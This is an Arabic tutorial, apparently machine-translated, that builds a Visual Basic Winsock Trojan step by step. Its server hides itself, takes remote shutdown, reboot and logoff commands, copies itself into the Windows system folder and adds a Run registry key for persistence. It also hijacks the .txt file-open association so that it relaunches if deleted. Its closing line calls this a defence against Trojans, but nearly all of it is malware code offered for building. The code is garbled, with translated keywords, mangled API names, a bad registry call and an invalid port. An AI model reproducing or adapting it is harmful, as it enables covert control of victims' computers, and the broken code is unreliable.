أولاً، قم بإنشاء مشروع جديد باسم Server، وقم بإنشاء نموذج جديد بالاسم كخادم، وأضف عنصر تحكم Winsock إلى النموذج، وقم بتعيين الاسم على sckServer، وقم بتعيين البروتوكول على بروتوكول TCP/ip الافتراضي.
بعد ذلك، نعود إلى وحدة نموذج الخادم ونضيف الكود التالي:
->PRivateSubform_Load()
معي
.sckServer.LocalPort=88917'المنفذ المحلي (هاها! عيد ميلادي!)
.sckServer.Listen'ابدأ الاستماع
نهاية مع
EndSub
"اقبل طلب الاتصال الخاص بالعميل."
PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)
معي
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.قبول (معرف الطلب)
نهاية مع
EndSub->
بعد ذلك، لنقم بإنشاء برنامج عميل: أنشئ مشروعًا جديدًا باسم Client، وقم بتسمية النموذج Client، وأضف إليه عنصر تحكم Winsock، المسمى sckClient، والبروتوكول هو بروتوكول TCP/IP. أضف زرًا آخر cmdConnect وأضف رمزًا إلى وحدة النموذج:
->PrivateSubform_Load()
معي
.sckClient.RemoteHost=127.0.0.1'قم بتعيين عنوان IP البعيد في هذا المثال، قم بتعيينه على الجهاز المحلي.
.sckClient.RemotePort=88917'المنفذ البعيد هو نفس الإعداد الموجود في الخادم.
نهاية مع
EndSub
PrivatesubcmdConnect_Click()
SckClient.Connect
النهاية الفرعية->
عند هذه النقطة، عندما ننقر على زر الاتصال، يمكن لمشروعينا التواصل، لكنهما غير مرئيين. يمكنك إضافة رمز إلى حدث sckClient_Connect في العميل: debug.printConnetionsuccessful!
هذه هي الخطوة الأولى فقط، ولن يتم إنجاز أي عمل على الإطلاق. من أجل التبسيط، تنفذ هذه المقالة فقط بعض الوظائف الصغيرة مثل إيقاف التشغيل وإعادة التشغيل وتسجيل الخروج. حسنًا، لنبدأ!
قم بإنشاء وحدة نمطية جديدة في مشروع الخادم بالاسم modApi. تحتوي هذه الوحدة على بعض وظائف API.
->PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)طويل
PublicTypeRECT
LeftAsLong
TopAsLong
RightAsLong
BottomAsLong
نوع النهاية->
ملاحظة: في البرمجة بين مآخذ توصيل، الحدث المهم للاتصال هو حدث DataArrival، والذي يستخدم لتلقي البيانات عن بعد.
بعد ذلك، قم بوضع ثلاثة أزرار في نموذج العميل الخاص بمشروع العميل، وهي cmdExit وcmdLogoff وcmdReboot. يتم استخدامها لعمليات إيقاف التشغيل وتسجيل الخروج وإعادة التشغيل عن بعد. أضف الرموز التالية على التوالي:
->PrivateSubcmdExit_Click()
Me.sckClient.SendDataExit
EndSub
PrivateSubcmdLogoff_Click()
Me.sckClient.SendDataLogoff
EndSub
PrivateSubcmdReboot_Click()
Me.sckClient.SendDataReboot
EndSub->
يتم تقديم جميع الطلبات إلى الخادم. انتقل الآن إلى مشروع الخادم: أضف حدث DataArrial الخاص بـ sckServer في الخادم لتلقي طلب العميل.
->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
DimstrDataAsString
معي
'تلقي المعلومات التي يطلبها العميل
.sckServer.GetDatastrData
حددCasestrData
CaseExit
'اغلق
CallExitWindowXXX(EWX_SHUTDOWN,0)
CaseReboot
'إعادة تشغيل
CallExitWindowXXX(EWX_REBOOT,0)
CaseLogoff
"تسجيل الخروج."
CallExitWindowXXX(EWX_LOGOFF,0)
EndSelect
نهاية مع
EndSub->
حسنًا، لقد قمنا الآن بتنفيذ الوظيفة، ولكن ليس بعد، نريد تشغيلها خلف الكواليس. هذا بسيط، أضف جملة: me.hide إلى حدث form_Load في الخادم. ولحسن الحظ، فهو غير مرئي الآن، ولكن الجميع يعلم أن حصان طروادة يعمل تلقائيًا بمجرد تشغيل الكمبيوتر. لماذا يتم ذلك وكيف يتم ذلك؟ إضافته إلى مجموعة بدء التشغيل في التسجيل؟ نعم، جيد، تعال معي!
ارجع إلى modApi في مشروع الخادم وأضف وظيفة API التالية:
->PublicDeclareFunctionRegOpenKeyLbadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
عملية الكتابة إلى مجموعة بدء تشغيل التسجيل.
->PublicSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDasLong
DimsKeyValAsString
sKey=Systrsy'ابدأ تشغيل المفتاح في المجموعة وابحث عن مفتاح مشابه لملف النظام.
sKeyVal=C:/windows/system/systrsy.exe'مسار ملف حصان طروادة يمكنك استخدام GetSystemDirectory للحصول على مسار النظام.
النتيجة=RegOpenKey(HKEY_LOCAL_MACHINE,_
البرامج/مايكروسوفت/ويندوز/الإصدار الحالي/تشغيل، hKeyID)
إذا كانت النتيجة = 0 ثم
result=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
EndIf
EndSub->
حسنا، هذا كل شيء. ومع ذلك، هل فكرت يومًا في الأمر، إذا لم تكن مبتدئًا وقمت بحذفه من السجل، ألن يضيع عملنا الشاق؟ لا، عليك أن تجعل من المستحيل حذفه حتى لو وجده. يرجى إلقاء نظرة على الكود أدناه:
->PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDasLong
DimskeyAsString
DimskeyValAsString
skey=txtfile/shell/open/command
skeyVal=C:/windows/system/txtView.exe
النتيجة=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
إذا كانت النتيجة = 0 ثم
result=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
EndIf
EndSub->
لا بد أن العديد من الأصدقاء قد عرفوا من الوهلة الأولى أنه كان مرتبطًا في الأصل بملف txt، وهو أمر ليس سيئًا على الإطلاق، ولكن من أين أتى C:/windows/system/txtView.exe؟ / سيسترسي .exe. هذا هو استنساخ حصان طروادة لدينا.
حسنًا، ارجع إلى form_Load الخاص بنموذج الخادم لمشروع الخادم وأضف الكود التالي:
->DimsCurrentPathAsString،sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sSystemDir=C:/windows/system
OnErrorResumeNext
'انسخ الملف إلى Systrsy.exe في دليل النظام
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
OnErrorResumeNext
انسخ الملف إلى txtView.exe في دليل النظام
FileCopysCurrentPath,sSystemDir&/txtView.exe->
يتصل
-> كولستارتوبجروب
CallWriteToTxt
'تحديد ما إذا كان البرنامج قيد التشغيل
IfApp.PrevInstanceThen
"الخروج إذا كان قيد التشغيل بالفعل."
نهاية
إنديف->
يلاحظ:
1. عند التعامل مع المنافذ، من الأفضل استخدام المنافذ المتطورة، وإلا فإنها ستتعارض مع بعض المنافذ شائعة الاستخدام.
2. من الأفضل قراءة الكتب ذات الصلة عند استخدام VB.NET لأول مرة.
->
ما سبق هو كيفية استخدام Visual Basic لمنع هجمات طروادة، أتمنى أن تعرفوا أنفسكم والعدو وأن تتخذوا الاحتياطات اللازمة قبل حدوثها!